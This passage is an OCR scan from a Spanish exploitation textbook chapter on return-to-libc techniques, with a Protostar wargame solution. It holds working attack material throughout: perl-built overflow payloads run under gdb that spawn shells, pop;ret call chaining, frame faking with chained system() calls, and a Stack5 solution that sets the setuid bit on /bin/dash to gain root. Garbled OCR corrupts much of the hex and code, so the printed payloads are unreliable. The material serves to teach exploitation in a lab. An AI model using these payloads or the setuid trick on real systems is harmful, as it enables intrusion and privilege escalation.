ptr  =  getenv [argv [ 1] ) ; 

ptr  +-  (strlen (argv [0] )  -  strlen ( a rgv [ 2 ] ) }  *  2; 
printf  ( T'  %s  asta  en  %p  \n* ,  argv [11,  ptr); 


Ahora  podemos  compilar  esta  simple  utilidad,  exporter  nuestra  variable  personalizada  y  obtener  su 
direceion.  _ _ 

blackngel @bbc : ^ ?  gec  getenv. c  -o  getenv 
blackngel@bbc : -$  export  $HELL2=/bin/sh 
blackngel @bbct '*$  ./getenv  SHELL2  . /poc 
3HELL2  esta  en  0xbffff70c 

blackngel@bbc  :  -*$ _ _ _ _ . 

Ya  tenemos  todos  los  ingredientes  necesarios: 

system  ()  —  >  0xb7ead99G 

ret  ->  exit O  ->  Oxb7ea2fbO 

/bin/sh  “>  0xbffff70c 

Y  a  continuation  procedemos  a  realizar  la  explotacion  con  todos  los  components  previamente 
explicados:  _ _ _ 

£gdb)  run  A  "perl  -e  'print  t,A,’x52G  .  n \x08 \xf  5\xf  f  \xbf T1  .  ,,\x90\xd9\xea\xb7t'  , 

"  \xbO  \x2f  \xea\xb7 T'  .  n \xGc\xf  7\xf  f' \xbf  "  '  ' 

Start  program:  /home/blackngel/pruebas/bo/poc  A  'perl  -e  ’print  ,TA"x52G  .  "\x08 
\xfS\xff\xbf"  .  n\x9G\xd9\xea\xb7T'  .  ,,\xb0^x2f\xea\xb7T,  *  u\x0c\xf  7\xf  f \xbf " ;  ' 

Hello,  u  wvs  ?  9  # 

AAAAA  AAAAA  A  AAAAAAAAAAAAA  A  A  AAJAAAAAAAAAAA  AAAAAAAAAAAAAAAA  A  AAAAAAAAAAAAAAAA  A  A  AA  AA 

AAAAA  AAA  A  A  A  A  A  AAAAA  AAAAA  A  A  A  AAAAAAAAAAAAAA  A  A  A  AAAAA  AAA  ?  / 

sh-3 . 2$  exit 

exit 

Program  exited  normally. 

(gdb) 

Hemos  utilizado  un  valor  adicional  Oxbffffsos  para  sobrescribir  tambien  el  registro  base  guard  ado, 
evitando  asi  un  fallo  de  segmentation  no  intencionado. 

Finalrnente,  aunque  con  menor  granularidad,  habremos  conseguido  el  control  del  sistema,  sorteando 
la  protection  contra  ejecucion  de  eddigo  en  el  stack  y  sin  la  necesidad  de  utilizar  un  shellcode. 

4.1.1.  Evasion  de  bytes  null 

Una  pregunta  logica  que  se  le  puede  puede  venir  a  la  cabeza  tanto  ai  lector  como  a  un  atacante  es  la 
siguiente:  ^qud  ocurre  si  la  direceion  de  la  funcion  de  libreria  a  utilizar  contiene  un  byte  null?  Observe 
la  ilustracion  y  compruebe  que  lo  quo  le  deeimos  es  cierlo. 
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©  ^  #  black  n  ge  t  be  - 

{gdt\i% ;’jj  nprotec^ 

$13  va^tftble,  no  debug  inf o=^  Oxb7f  082^:V<nprotect> 

: ydh)  |  strepv  ■% 

gnu- indtr^^f table,  no  debug  tnfo>}  0xb7e9a820  <strcpy> 
(gdb)  b  ^nepy 

$1S  =  M 

<te^r'gny^ indirect  function  variable,  no  debug  info>}  exbreSbiae  <strncpy> 


Imagen  04.03:  Bytes  null  en  funciones  do  libreria. 


El  byte  menos  significative!  de  las  tres  funciones  conti  ene  un  valor  que  podrfa  dar  por  finalizada  Lina 
cadena  de  ataque.  El  valor  0x20,  tal  y  como  se  puede  comprobar  en  cualquier  tabla  ASCII,  representa 
un  espacio  que  en  ciertas  ocasiones  resultara  extre  mad  amen  le  molesto. 


La  sol  uc  ion  a  este  diicma  es  simple,  si  pudiesemos  eneontrar  instrucciones  inocuas 
inmediatamente  antes  de  la  direccion  de  una  fund  on  deseada,  podriamos  utilizar  otra  direccion 
anterior  sin  miedo  a  que  el  payload  dejase  de  funeionar.  Vea  en  la  siguiente  imagen  el  Hstado  de  codigo 
que  hemos  desensamblado  cuatro  instrucciones  antes  de  la  direccion  real  de  strnopy  ( > . 


0tish  9tebx 
call  Oxb7f47f03 
add  SexpSwe.' 
cm  p  i  $^  ^x3b8' 


blackngel^bbc  ~ 

(gdb) jx/Bi  strncfSiH 
6x|jra»b8fc^  n- 
OxbV^bQfd:  n 
©xbte'SJjbafe:  no| 
xb7tt 


0:vb7e9b^f f :  nop 

Gxb/eSb$te  < st r ncpy> :  pilsh 


6xb  7e  9 *£5  t  r r>cp  y + 1  > : 
8xb7e9biSi6  <a:^rncpy+b> : 
0  xb  7  e  9b 16  c?;*st 


Imagen  04.04:  Instrueci ones  NOP  adyaeentes. 


Exacto,  durante  un  ataque  ret21ibc,  podriamos  sustituir  la  direccion  original  0xb7e-9bi  oo  por  cualquiera 
de  las  adyacentes  que  eontenga  una  instruceion  NOP.  Gxb7e9b0fc,  0xb7e9b0fd,  Qxb7e9b0fe  y 
0xb7e9bGff,  son  todas  elias  direcciones  validas  y  que  podemos  denominar  gemelas  o  analogas  de 
aquella  que  apunta  directamente  a  strncpyO .  Se  trata  de  un  pequeno  truco  logico  y  practico  que  tal 
vez  le  resulte  util  cuando  menos  se  lo  espere. 


4.1.2.  Metodos  interesantes 

A  continuacidn  sugerimos  algunas  variantes  de  la  teenica  ret2libc  que  consideramos  pueden  ayudar  a 
sortear  ciertas  ditlcultades  en  entomos  de  explotacion  ho  stiles. 

Por  ejemplo,  en  la  section  anterior  mencionanios  que  straepy  ()  podria  ser  una  funeion  de  retorno 
interesante  para  un  atacanle.  En  los  sistemas  operatives  Mac  OS  X,  esta  ha  sido  una  de  las  tecnicas 
mas  habit  uales,  donde  el  objetivo  es  copiar  un  payload  desde  el  stack  hacia  el  heap,  y  luego  redirigir 
el  flujo  a  esta  segunda  zona  con  perm  isos  de  ejecueion. 

Si  cl  atacante  tiene  algun  control  sobre  la  entrada  que  recibe  el  programs,  ret2gets  es  una  posibilidad 
francamente  util.  La  ventaja  es  que  gets  n  no  requiere  mas  argumentos  que  una  direccion  de  memoria 
con  permisos  de  escritura  y  ejecucion.  El  metodo  retlsyscall  tambien  es  una  option  si  podemos 
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redirigir  el  flujo  hacia  una  serie  de  instrucciones  pop  reg,  que  establezcan  valores  concretos  en  los 
registros  adecuados.  Cuando  hablemos  sobre  ROP,  mostraremos  un  ejemplo  de  esta  tecnica  en 
sistemas  de  64  bits.  Si  las  funciones  de  libreria  estan  protegidas  con  ASCII  Armored  Address  Space 
(AAAS),  es  decir,  quo  sus  direcciones  de  memoria  ticnen  un  valor  null  eomo  byte  mas  significativo, 
retlplt  puede  acceder  de  forma  indirecta  a  estas  funciones  a  traves  de  una  tabla  de  enlace  dinamico. 
Veremos  una  demostracion  en  la  seccion  7.7,  cuando  estudiemos  este  mecanismo  de  proteccion.  Por 
ultimo,  si  nuestro  objetivo  es  acceder  a  funciones  que  no  son  utilizadas  por  el  proceso  vulnerable,  es 
posible  utilizar  rel2dl-resolve  para  descubrir  la  direccion  de  las  mismas  durante  la  ejecucion  del 
ataque.  Como  puede  ver,  las  opciones  son  infinitas  y  el  unico  lnnite  suele  ser  la  imagination. 

4.2  Exploits  avanzados 

Nuestra  mision  durante  las  siguientes  secciones  sera  estudiar  algunos  de  los  metodos  que  le  serviran 
a!  lector  para  familiarizarse  y  tomar  contacto  con  lo  que  en  tiempos  modemos  ha  venido  a  conocerse 
como  tecnicas  ROP  o  Return  Oriented  Programming.  Aunque  esta  ultima  sera  detallada  en  su 
correspondiente  capitulo  (seccion  5.4),  lo  que  aqui  mostraremos  constituye  la  base  necesaria  para  su 
comprension. 

4.2.1.  Encadenamiento  de  funciones 

Existe  una  tecnica  conocida  como  esp  lifting  la  cual  radica  en  jugar  con  el  desplazamiento  del  registro 
ESP  para  conseguir  un  control  completo  de  la  pila.  Nergal,  en  su  articulo  “The  advanced  retum-inio- 
lib(c)  exploits”,  apunto  una  primera  opcion  que  se  basaba  en  establecer  el  valor  de  la  direccion  de 
retomo  guardada  a  un  lugar  de  la  memoria  donde  pudiesemos  encomrar  un  codigo  como  e!  siguienic: 

addl  SLOCAL_VARS_SIZE,  %esp 
ret 

Esto  es  habitual  en  programas  compilados  con  la  opcion  -fomit-fraxne-pointer,  y  aunque  la  tecnica 
todavia  se  utiliza  hoy  en  dia  para  acceder  a  pewloads  que  se  esparcen  a  lo  largo  de  un  gran  espaeio  en 
el  entorno  del  proceso,  nosotros  nos  centraremos  en  una  segunda  opcion  que  utiliza  otra  poreidn  de 
codigo.  En  particular: 

popl  registro 
ret 

Sabemos  que  las  funciones  pop  y  push,  incrementan  o  decrementan  respectivamente  en  4  bytes  el  valor 
de  %esp.  Entonces  podemos  crear  un  buffer  como  el  siguienic: 


AAAAAAAAAAAAAAAAAAAAA 

&£ystem() 

&[popl;ret;j 

&7bin/sh" 

&f  unc2 ( ) 

Imagen  04.05 :  Encadenamiento  de  funciones. 


For  pasos,  lo  que  oeurre  es  lo  siguiente: 

-  Se  ejecuta  syst em  ( Tl /bin/sh" ) .  En  este  momenta  ESP  apunta  a  s  ( popi ;  ret ; } 
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Cuando  system  ( )  terinina.  se  ejecuta  popi;ret,-.  La  primera  ins  truce  ion  provoeara  que 
ESP  se  ineremente  en  4  bytes  y  pase  a  apuntar  directamenle  a  &func2  { ) . 

-  Se  ejecuta  func2  o ; 

Piense  que  puede  seguir  encadenando  mas  instrucciones  (popi;ret;)  y  ejecutar  tan  Las  funciones  como 
desee: 


&Fli) 

&(popl;ret;) 

org?  |  &f2() 

&[popl;ret;) 

orgl  | 

&f3()  |  &(  popl; ret;) 

orgl 

Imageti  04.06;  Ejecueion  de  funciones  multiples. 


Como  se  puede  observar,  la  limitation  es  que  solo  se  pueden  utibzar  funciones  que  requieran  un 
argumento.  Para  conseguir  mas  argumentos  en  cada  fun  cion  po  demos  utilizar  otms  secueneias  mas 
largas: 

pop!  reg 
pop!  reg 
ret 

Segun  lo  indicado,  veamos  como  podemos  encadenar  dos  llamadas  a  system  ( "/bin/sh" > .  Ilaceinos 
uso  de  objd’jmp  para  obtener  nuestras  instrucciones  pop;  ret: 

blackngelJbbc: ~/pruebas/bo$  objdump  -d  ,/vuln 

. /vuln:  file  format  el £3 2^1386 
Disassembly  of  section  . init: 

08048370  <frame  duinmy> : 

804 83a2 :  5d  pop  %ebp 
80483a3:  c3  ret 


Nuestro  buffer  de  ataque  deberia  ser  algo  como  esto: 


Ax524  j  Stsystemf)  | 

&(  popl;  ret;) 

|  &"/bin/sh" 

|  &  system()  | 

&exit() 

&"/bin/sh*  \ 

Imagen  04.07:  Ejemplo  de  explotacidn  retllibc  con  encadenamiento. 


(gdb)  run  A  perl  -e  'print  f,A"x524  .  Tl \x90 \xd9\xea\xb7 T'  .  T1  \xa2\xS3\x04 \xQ  8 11  . 

” \ x 0 c \ xf 7 \xf  f \xbf "  .  r’\x90\xd9\xea\xb7"  .  ,T\xb0\x2f  \xea\xb7,T  .  f,\x0c\xf7\xff\xbf  M  ;  '  ' 

[AAAAAA . AAAAAA] 

[AAAAAA *  ....... - AAAAAAJ 

sh-3, 2$  exit 
exit 

sh“3.2$  exit 
exit 

Program  exited  normally. 

{ gdb) 


Si  mas  argumentos  fuesen  necesarios,  la  salida  de  objdump  le  ofrece  tantos  como  precise: 

08048450  < _ libc  csu  init>: 

80484a5:  5b  pop  %ebx 
80484a 6:  5e  pop  £esi 
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80484a7 :  5f  pop  %edi 
80484a8:  5d  pop  %ebp 
90484el9:  c3  ret 

0804 8 4 aa  < _ 168  6  .  get_pc_thunk .  bx> : _ _ _ 

Mediante  una  direction  como  0x080484a5,  puede  permitirse  el  lujo  de  utilizar  una  flmcion  con  4 
argumentos.  Usted  tiene  la  eapacidad  de  aplicar  en  su  cadena  de  ataque  distintas  combinaciones  de 
pop  y  ret  para  ajustar  el  numero  de  argumentos  de  la  ftincion  de  Hbreria  en  cuestion.  Creanos,  es  mas 
facil  de  hacer  que  de  explicar. 


4.2.2.  Falseo  de  frames 


La  tecnica  de  falseo  de  frames  es  uno  de  los  trucos  de  exploiting  mas  inteligentes  jamas  disenados. 
Durante  esta  seccioii  tenemos  por  objetivo  describir  el  melodo  paso  a  paso,  aun  a  riesgo  de  caer  en  una 
densa  teoria.  Mostraremos  tambien  una  prueba  de  concepto  que  demuestre  la  fiabilidad  de  la  tecnica. 
Si  al  finalizar  todavfa  no  le  han  quedado  claros  todos  los  conceptos,  es  posible  que  precise  dar  un 
detenido  repaso  al  caphulo  3  y  luego  regresar  de  nuevo  a  este  punto. 


La  final  idad  de  la  tecnica  es  conseguir  un  control  total  de  ESP,  y  esto  puede  lograrse  mediante  la 
manipulacion  del  registro  EBP.  En  un  primer  paso,  el  buffer  deberia  tener  esta  estructura: 


1 

buffer  (512  bytes) 

EBP  ^ 

'  EIP  1 

AAAAAAAAAAAAAAAA 

EBP  Falso 

&(  leave;  re  l) 

OxbffffZtO 


imagen  04.08:  Establecimiento  de  un  marco  de  pi  I  a  false. 


Tomaremos  la  direccion  Oxbffff7io  como  ejemplo.  Ahora  observe  las  ultimas  instrucciones  de  la 
funci6n  fvuin  0 : 

0x0  804  8 3da  <fvuln+54>:  call  0x80462ec  <printf ,@plt> 

0x080483df  <fvuln+59>:  leave 

0x0804 83e0  <fvuln+6Q>;  ret  


La  in  st  rue  cion  leave  equivale  a:  movi  5debp,  %esp;  popi  %ebp;  Pot  lotanto,  cuando  fvuin n  termina, 
la  instruccion  popi  colocara  nuestro  falso  EBP  en  el  registro  %ebp.  Seguidamente,  como  ocurre  en  un 
buffer  overflow  clasico,  se  ejecutara  el  codigo  apuntado  por  EIP,  que  en  este  easo  son  otras  dos 
intrucciones  leave;  ret;  Pero  en  esta  situacion  las  condiciones  varian,  porque  la  instruccion  movi 
lebp,  %esp  nos  brindara  el  control  de  ESP,  que  recibira  nuestro  falso  EBP. 

Por  ultimo,  debemos  tener  algo  en  cuenta,  y  es  que  la  ultima  instruccion  pop  de  ese  leave, 
incrementara  ESP  en  4  bytes.  Con  todo  esto,  piense  que  ocurre  si  hacemos  que  nuestro  falso  EBP  sea, 
por  poner  un  ejemplo,  0xbffff7io.  Cuando  fvuin ()  termine,  sera  puesto  en  %ebP,  y  cuando  nuestro 
segundo  sieave;  ret;  sea  ejecutado,  sera  volcado  directamente  a  %esp  y  este  incrementado en  4  bytes, 
resultando  en  0xbffff7i4.  Luego  se  tomara  la  direccion  que  alii  se  encuentre  y  se  ejecutara. 

Antes  de  cominuar  con  el  encadenamiento  de  falsos  frames,  para  no  perder  el  hilo,  vamos  a  comprobar 
si  lo  anterior  es  cierto.  Compondremos  un  buffer  tal  que  asi: 
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{ 

buffer  (512  bytes) 

- - ^ 

EBP  ] 

r  ejp  i 

AAAA 

&system() 

&(  leave;  ret) 

&"/bin/*h" 

... 

^buffer 

&|lecve;ret) 

Imagen  04.09:  Inyeccibn  y  organ izaciort  de  un  frame  fako. 


El  uni co  dato  que  desconocemos  cs  la  direction  dc  initio  de  nuestro  buffer  que  obtendremos  con  la 
ayuda  de  GDB.  Con  respecto  al  leave;  ret,  utilizaremos  el  mismoque  termina  fvulno  :  0x080483 df. 
Para  no  alargar el  tema,  hemos  colocado  un  breakpoint justo  despues  de  la  llamada  a  strcpy  o,y  otro 
justo  antes  del  ret  en  fvuin  ( ) . 

(gdb)  x/s  Oxbf fff 70b 

Gxbffff70b:  "/bin/sh"  //  Obtenemos  direccion  de  la  cadena 

(gdb)  run  black  'perl  -e  'print 

"AAAA"  .  " \x9Q\xd9\xea\xb7” .  ” \xdf \x8 3\x0 4 \xQ8 "  .  " \x0b\xf 7 \xf f \xbf  "  .  T,A"x504 

T,\xaa\xf0\xf f \xbf  ,r  ,  "\xdf  \x83\x04\x08"  1  " 

Breakpoint  1,  0xO8Q483c2  in  greeting  () 

[gdb)  i  r  $esp 

esp  OxbffffObO  OxbffffObO 

[gdb)  x/8x  $esp 

OxbffffObO i  OxbffffOcO  0xbffff4f3  0x00000000 
0x00000000 

OxbffffOcO:  0x41414141  0xb7ead990  0xQ80483df 
Oxbff f f 70b 

l_principio  del  buffer 

[gdb)  run  black  perl  -e  Tprint.  "AAAA" . " \x9Q \xd9 \xea\xb7 "  .  " \xdf  \x83 \x04 VxDS M  . 
"\xGb\xf7\xff\xbf"  .  ,fA"x5G4  .  " \xc0\xf 0 \xf f \xbf' "  .  " \xdf \x83\x0 4 \x0S "  '  " 

Breakpoint  1,  Qx080483c2  in  greeting  () 

[gdb)  i  r  $ebp  $esp 

ebp  Oxbf fff 2 c8  0xbffff2c8  //  Valor  normal 
esp  OxbffffObO  OxbffffObO  //  Valor  normal 
(gdb)  c 
Continuing , 

Hola  [Banura  AAAAAAAAA . * AAAAAJ 

Breakpoint  2,  0x.Q804.83eQ  in  greeting  (} 

(gdb)  i  r  $ebp  $esp 

ebp  OxbffffOcO  OxbffffOcO  //  EBP  alterado  con  ^buffer 
esp  0xbffff2cc  0xbffff2cc 
[ gdb )  c 
Continuing  * 

//  Ahora  se  ejecutara  el  ” leave ; ret"  que  pusimos  en  EIP,  y  per  la  tanto  el  breakpoint 
volvera  a  detenerse  antes  del  lTretM  . 

Breakpoint  2,  0x08Q483e0  in  greeting  [) 

(gdb)  i  r  $ebp  $eap 
ebp  0x41414141  0x41414141 

esp  Oxbf f f f0c4  0xbffff0c4  //  ESP  =  EBP  4-  4 

( gdb )  c 

Continuing. 

sh-3.2$  exit 

exit 

Program  received  signal  SIGSEGV,  Segmentation  fault. 

0x080483df  in  greeting  () 

(gdb) 


CapUulo  IV.  Metodos  Return  to  Lihc 


121 


El  metodo  funciona*  pero  todavia  podemos  seguir  eneadenando  mas  frames  falsos.  El  truco  esta  en 
establecer  las  prim  eras  4  Aes  de  maestro  buffer  a  un  siguiente  EBP  falso.  A1  final  de  nuestra  prueha 
teniamos  que  ESP  era  igual  a  Oxbf  f  f  f0c4.  Cuando  system  ( )  es  ejecutada,  su  pro  logo  de  funcion  hace 
un  push  %ebp,  lo  que  decrementa  ESP  en  4  bytes.  Por  lo  tanto  volvemos  a  tener  Oxbfff  fQcOjusto  el 
principio  de  nuestro  buffer. 

Cuando  system  0  tormina,  su  instruccion  leave  coge  el  valor  que  se  encuentra  en  ESP  y  lo  introduce 
en  EBP.  Fin  la  prueba  anterior,  el  programs  terminb  eon  un  fallo  de  segjnentacion,  y  se  debe  al  valor 
que  tom  6  ebp:  _ _ 

(gdb)  i  r  $ebp 

ebp  0x41414141  0x41414141 _ _ _ 


Despues  entra  en  action  el  leave; ret;  que  colocamos  seguido  de  system*) -  La  instruction  movi 
%ebp,  %esp  volvera  a  damos  el  control  de  ESP,  y  por  tanto  podremos  construir  otro  frame  falso. 

Esta  tdcnica  tiene  una  ventaja  enorme,  y  es  que  como  podemos  colocar  cada  frame  en  posiciones 
arbitrarias  de  la  memoria,  las  funciones  que  ejeeutemos  en  cada  uno  de  el  los  pueden  tener  el  numero 
de  argumentos  que  nos  sea  conveniente. 

Para  demostrar  que  todo  esto  es  cierto,  crearemos  4  frames  a  lo  largo  de  nuestro  buffer,  y  ademas, 
haremos  que  los  frames  falsos  no  sean  consecutivos,  de  modo  que  usted  pueda  comprender  que  incluso 
puede  situarlos  en  muchos  otros  lugares  de  la  memoria,  como  las  variables  de  entorno  o  los 
argumentos.  Llamaremos  siempre  a  la  funcion  system  u  pero  primero  lo  haremos  con  el  comando 
/bin/ id,  luego  con  un  /bin/sh,  y  para  terminar  otro  /bin /id.  El  ultimo  frame  desencadcnara  una 
llamada  a  exit  o  y  nuestro  ataque  fmalizara.  _ _ _ ___ 

blackngel@bbe: -/pruebas/boS  export  S HELL 2= "/bin/sh" 
blackngel  @bbc :  - /pruebas/bo$  export  ID^'Vusr/bin/id*' 
hlackngel@bbc : -/pruebas/bo$  gdb  -q  ./vuln 
{gdb)  break  main 
Breakpoint  1  at  0x804 83e7 
(gdb)  run  black  hack 

Breakpoint  1,  0x08048 3e 7  in  main  () 

(gdb)  x/s  Oxbfffffieb 
Oxbfff  £6eb:  Vbin/sh" 

(gdb)  x/s  Oxbffff'eSc 
0xbffffe3c:  Tl /usr/bin/ idTI 

//  YA  TENEMGS  LAS  DIRECCIQNES ,  MONTAMGS  EL  PAYLOAD 

{gdb)  run  black  pari  -e  ’print  ”\xe0\xf 0\xf f \xb£ ,p  .  ,Ax90\xd9\xea\xb7"  . 

"\xdf \x83\x04\x08"  .  T,\x3c\xf  e\xff  \xbf  "  . "A"x64 . 

"\xQ4\xf  l\xf  f  \xbf  "  .  ”  \x90\xd9\xea\xb7 fl  . 

11  \  xdf  \x83\xO 4 \xG8  ”  .  ,T\xeb\xf  6\xf  f \xbf  H  .  "B"x20 . 

Tt\x34\xfl\xff\xbfT"  .  ,T  \x90  \xd9\xea\xb7 "  . 

"\xdf  \x83 \  x04\x08  "  .  " \x3c\xf e\xf  f \xbf  ”  .  HC,Tx32. 

T,ENDFTI  .  M\xb0\x2f \xea\xb7”  .  ,TA’’x34  8  ■ 

" \x90\xf 0\xf f  \xbf ,f  .  "\xdf\x83\x04\x08nt  s 

//  PARAMOS  DESPUES  DE  STRGPY ()  PARA  EXAMINAR  LA  MEMORIA 

Breakpoint  2t  0x080483c2  in  fvuln  () 

{gdb)  x/4x  $ebp  //  EBFQ  //&leave ; ret ; 

Oxbf f f f 2 98 :  0xbffff090  0x080483df  Oxbf  fff  40,0. 

Oxbf f f f 4d3 
(gdb)  x/50x  $esp 
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QxbffffOSQ:  Oxbf f f  f09D  0xbfff£4d3  0x00000000 
0x00000000 

//  ler  FRAME  EEP1  & system  6 leave; ret;  & " /usr/bin/id" 
Oxbf fff 090 :  OxbffffOeO  0xb7ead990  0x0804B3df 
Oxbf f f fe3c 

//  RELLENG  ALEATORIO 

Oxbf  fff  OaO  :  0x41414.141  0x41414141  0x41414141 
0x41414141 

Oxbf fff ObO :  0x41414141  0x41414141  0x41414141 
0x41414141 

Oxbf fff OcO :  0x41414141  0x41414141  0x41414141 
0x41414141 

Oxbf fff OdO :  0x41414141  0x41414141  0x41414141 
0x41414141 


//  2do  FRAME  EE.P2  ^system  £leav.e;ret;  kVbin/sh11 
Oxbf  fff  OeO  :  0xbffffl04  0xb7ea.d990  Cx080483df 
Oxbf fff 6eb 

//  RELLEKIG  ALEATORIO 

Oxbf fff Of 0 :  0x42424242  0x42424242  0x42424242 
0x42424242 

//  3er  FRAME  EBP 3  ^system  & leave ; ret ; 

Oxbf fff 1 0 0 :  0x42424242  0xbffffl34  0xb7ead990 
0x08  04  83df 
£n /usr/bin/id 

Oxbf fff 110 :  Oxbf fff e3e  0x43434343  0x43434343 
0x43434343 

//  RELLEN0  ALEATORIO 

Oxbf fff 120 :  0x43434343  0x43434343  0x4343434 3 
0x43434343 

//  4 to  FRAME  "S&DFW  texit 

Oxbf fff 130 :  0x43434343  0x46444e45  0xb7ea2fb0 
0x41414141 

Oxbf fff 140 :  0x41414141  0x41414141 

(gdb)  c 

Continuing. 

Ho la  [Basura  AAAAAAAAA.  .......  . A AAAA ] 

u-id=1000  (blackngel)  gid=lOOG (blackngel)  grupos-4  (adm) 

sh-3.2$ 

sh-3-2$  exit 

exit 


uid=100  0  (blackngel)  gid=l  0  00  (blaxckngel )  grupos— 4  (adm) 
Program  exited  with  code  0101. 

(gdb) 


Parece  bastante  eomplicado,  pero  si  observa  la  secuencia  detenidamente.,  examinando  I  os  va  lores 
preserves  en  la  memoria,  no  tardara  en  comprender  la  bella  estructura. 


f  fcAME  0 

w — 1 

f  s } 

W  a  j 

Tmagen  04.10-1:  Estructura  colaborativa  de  marcos  dc  pifa  falsos. 
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A  no  ser  que  el  programa  vulnerable  util  ice  una  funcion  como  I  read  (),recv{),  bcopy  ( ) ,  memcpy  ( )  o 
a]  gun  a  del  estilo,  ninguna  de  las  direcciones  podra  contener  bytes  null,  en  cuyo  caso  el  paquete  se 
eortaria  en  ese  punto. 


4.3.  Solucionario  Wargames 


STACK  5 


Stacks  es  un  buffer  overflow  estandar,  esta  vcz  introduciendo  un  shell  code.  Pistas:  Podria  ser  mas 
facil  por  el  momento  utilizar  algun  shellcode  ajeno.  Puede  usar  el  opcode  \xcc  (int3)  dentro  del 
shellcode  para  detener  la  ejecucion  del  programa. 

Codigo  Fuente 

01  #include  <stdlib.h> 

02  # include  <unistd.h> 

03  t include  <stdio.h> 

04  tinclude  <string,h> 

05 

06  int  main (int  argc,  char  **argv) 

07  { 

0B  char  buf fer [ 64 ] ; 

09 

10  gets (buffer ) ; 

11  } 

Solution 

Se  nos  solicita  la  ejecucion  de  codigo  arbitrario.  Lo  primero  que  necesitamos 

es  la  direccion  de 

system ( )  con  la  que  sobrescribir  el  registro  EIP  guardado  en  el  stack  frame: 

user^protostar : /opt/protostar/bin$  gdb  -q  ./stacks 
(gdb)  break  *main 


(gdb)  run 
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(gdb)  p  system 

$1  —  Gxb7ecffbD  <  libc  system> 


Otra  opcion  es  hacer  nm  sobre  la  libc  en  busca  de  sfmbolos.  Ahora  crearemos  un  binario  personal  en  el 
directorio  /tmp  que  sera  el  que  le  pasaremos  como  argumento  ala  funcion  system  () : 

♦include  <st.dlib.h> 

int  main (int  arge,  char  **argv) 

t 

system ("chmod  +s  /bin/dash’1}; 


Lo  que  hace  este  ejecutable  es  activar  el  bit  suid en  la  shell  /bin /dash.  Caso  de  producirse  tendremos 
acceso  direclo  a  root.  Lo  compilamos,  le  damos  el  nombre  rootsheii  y  anadimos  su  ruta  en  una 
variable  de  entomo. 

user ©protester  :  /  opt /pro  to  star /bin  $  gcc  /tmp/ roots  hall e  ~o  /tmp/ root-shell 
use  rQpro tost ar : /opt /protostar/bin $  export  ROOTSHELL—/ tmp/ rootsheii 


Hacemos  uso  de  una  pequefia  utilidad  para  obtener  su  direccion  en  el  entomo  en  base  al  nombre  del 
program  a  q  ue  ej  ec  u  tarn  os : 

♦include  <stdio.h> 

# in elude  <stdlib.h> 

# include  <string*h> 

int  main [int  arge,  char  **argv) 

{ 

char  *ptr; 
if  {  arge  <  3  ) 
exit  (0) 

ptr  =  getenv (argv  [  1 ] )  ; 

ptr  +=  [strlen (argv [0] )  -  strlen (argv [ 2 ] } )  *  2; 
printfC'^s  esta  en  %p\n"r  argv[l],  ptr); 

} 


Co  mp  i  I  amo  s  y  ej  ec  ulam  o  s ; 

user @p ro to star: /opt /proto s tar /bin$  gcc  /tmp/getenv.c  /tmp/getenv 
user@pro.tos  tar :  /  opt /proto  star/bin$  /tmp/getenv  ROOTSHELL  ./stacks 
ROOTSHELL  esta  en  Oxbfff ffba 


Una  vez  que  tenemos  todas  las  variables,  proee demos  a  inyectar  el  payload  y  desencadenar  ret21ibc: 

user@proto.star : /opt/protostar/bin$  perl  -e  Sprint  "aT,x76 

"\xbO\xf  f  \xec\xb7'r .  "aaaa"  ■  "\xba\xff  \xf  f  \xbfT1  '  |  .  /  stacks 

Segmentation  fault 

user@protost.ar  :  /  opt  /pro  t  os  tar /bin  $  Is  “al  /bin/dash 
■rwsr-sr-x  1  root  root  84144  Dec  14  2010  /bin/dash 
user@protostar : /opt/protostar/bin$  dash 

#  id 

uid=1001 (user)  gid^lOOl (user)  euid=Q (root )  egid^O (root)  groups=0 (root ) , 1001 (user) 

#  chmod  -s  /bin/dash 

# 


Volveremos  a  reslablecer  los  permisGS  normales  de  /bin/dash  para  la  realizacion  del  siguiente  reto. 
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4.4.  Dilucidacion 

Poeo  a  poco  nos  hemos  ido  adentrando  en  temas  mas  complejos  del  mundo  del  exploiting.  Si  bien 
retornar  dentro  del  codigo  de  una  funcion  de  libreria  es  un  procedimiento  bastante  intuitive,  el 
encadenam  lento  de  funeiones  con  numero  de  argumentos  variable  ha  const! Undo  un  buen  paso  hacia 
adelante  en  nuestros  conocimientos  sobre  la  estructura  de  la  memoria  y  el  modo  en  que  la  pila  se 
comporta  en  la  mayor  parte  de  los  si  stem  as  operativos  modem  os. 

A  modo  de  curiosidad,  mencionaremos  que  una  de  las  funeiones  que  suelen  utilizar  algunos  exploits 
cuyas  teenicas  se  basan  en  ret2Ubc  es  mprotect  (void  *addr,  size_t.  len,  int  prot),  que  tiene  la 
capacidad  de  habilitar  y  deshabilitai  los  permisos  de  lectura,  escritura  o  ejecucion  de  una  zona  concreta 
de  la  memoria.  He  aqui  un  vago  ejemplo  de  su  uso  sin  comprobaciones  de  errores: _ 

pages ize  —  sysconf  (_SC_PAGE_5IEB)  ; 
buffer  =  memalign  (pagesize,  pages iz'fe)  ; 

mprotect {buffer,  pagesize,  FROT_READ | FRQT_WRITE I PKOT_EXEC )  ; _ 

Algunos  sistemas  basados  en  BSD  como  Mac  OS  X  o  el  mismo  OpenBSD,  admilian  que  el  usuario 
proporcionase  como  primer  argumento  de  la  llamada  a  mprotect  ( )  una  direction  en  el  stack  y  aslgnase 
cualquier  combinacion  de  permisos  a  la  misma.  Esto  permitiria  restaurar  los  privileges  de  ejecucion 
de  la  zona  donde  se  encontrase  situado  un  payload  y  subvert! r  asi  la  proteccion  NX  eslablecida. 

La  implementacidn  de  PaX  para  Linux,  en  eoncreto  el  disefio  de  MPROTECT  (advierta  las  mayusculas 
a  diferencia  del  nombre  de  la  funcion),  restringe  la  clase  de  eombinaciones  de  permisos  que  el  usuario 
puede  asignar  mediante  el  lercer  argumento  de  la  llamada,  El  objetivo  es  evitar  a  loda  costa  que  puedan 
otorgase  simultaneamente  los  permisos  de  escritura  y  ejecucion  a  cualesquiera  paginas  de  la  memoria. 

Qua  de  las  discusiones  mas  en  auge  con  respecto  a  la  metodologia  reillibc,  es  si  esta  cumple  con  los 
requisites  de  completitud  de  Turing,  lo  que  enormemente  simplificado,  se  pregunta  si  es  posihle 
realizar  toda  clase  de  computaeiones  arbitrarias  mediante  el  uso  exelusivo  de  funeiones  de  librerfa.  En 
el  ultimo  articulo  cilado  en  las  re  Ferenc  ias  se  propone  una  solucion  a  traves  de  la  cual  seria  plausible 
realizar  operaciones  aritmeticas  y  logicas,  accesos  a  memoria  y  saltos  condicionales.  De  hecho,  si  esto 
